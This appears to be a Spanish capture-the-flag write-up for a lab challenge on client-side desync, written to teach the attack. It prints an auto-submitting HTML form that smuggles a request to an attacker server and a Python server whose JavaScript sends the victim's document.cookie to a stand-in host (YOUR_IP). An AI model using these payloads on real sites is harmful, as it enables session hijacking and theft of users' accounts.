Este reto requiere usar técnicas aprendidas en las tareas anteriores para robar la cookie de un usuario.

La víctima accede a la aplicación usando challenge.thm, no la IP.

Los pasos son:

  1. Identifica que el servidor web actual es vulnerable a Client-Side Desync.
  2. Encuentra una funcionalidad que permita almacenar el gadget malicioso.
  3. Construye tu payload malicioso.
  4. Combínalo todo y aprovéchate.

Primero, para identificar que el servidor es vulnerable, vamos a ir a challenge.thm y usaremos el payload anterior, si nos devuelve 404 al recargar es que es vulnerable a browser desync.

Challenge

Si le damos a recargar la página:

Challenge

Por lo tanto sabemos que es vulnerable.

Después vamos a observar que la página no sanitiza correctamente el input de texto, nos registramos:

Challenge

Si ahora vamos a /securecontact:

Challenge

Podemos ver que es reflejado pero no interpretado.

La víctima visitará en su lugar la página /vulnerablecontact, donde el input será interpretado.

Challenge

Por lo tanto ahora necesitamos construir un payload para redirigir al usuario a que haga un fetch del segundo payload de nuestro servidor:

html
<form id="btn" action="http://challenge.thm/"
    method="POST"
    enctype="text/plain">
<textarea name="GET http://YOUR_IP:1337 HTTP/1.1
AAA: A">placeholder1</textarea>
<button type="submit">placeholder2</button>
</form>
<script> btn.submit() </script>

Por último, serviremos un payload en nuestro servidor controlado para robar la cookie de sesión del usuario y mandárnosla.

python
#!/usr/bin/python3

    
from http.server import BaseHTTPRequestHandler, HTTPServer

class ExploitHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/':
            self.send_response(200)
            self.send_header("Access-Control-Allow-Origin", "*")
            self.send_header("Content-type","text/html")

            self.end_headers()
            self.wfile.write(b"fetch('http://YOUR_IP:8080/' + document.cookie)")
def run_server(port=1337):   
    server_address = ('', port)
    httpd = HTTPServer(server_address, ExploitHandler)
    print(f"Server running on port {port}")
    httpd.serve_forever()

if __name__ == '__main__':
    run_server()

Ejecutamos el script de arriba, después de cambiar la IP con:

python
sudo python3 server.py 

Y nos ponemos en escucha:

python
sudo python3 -m http.server 8080

Por último esperamos la flag:

Challenge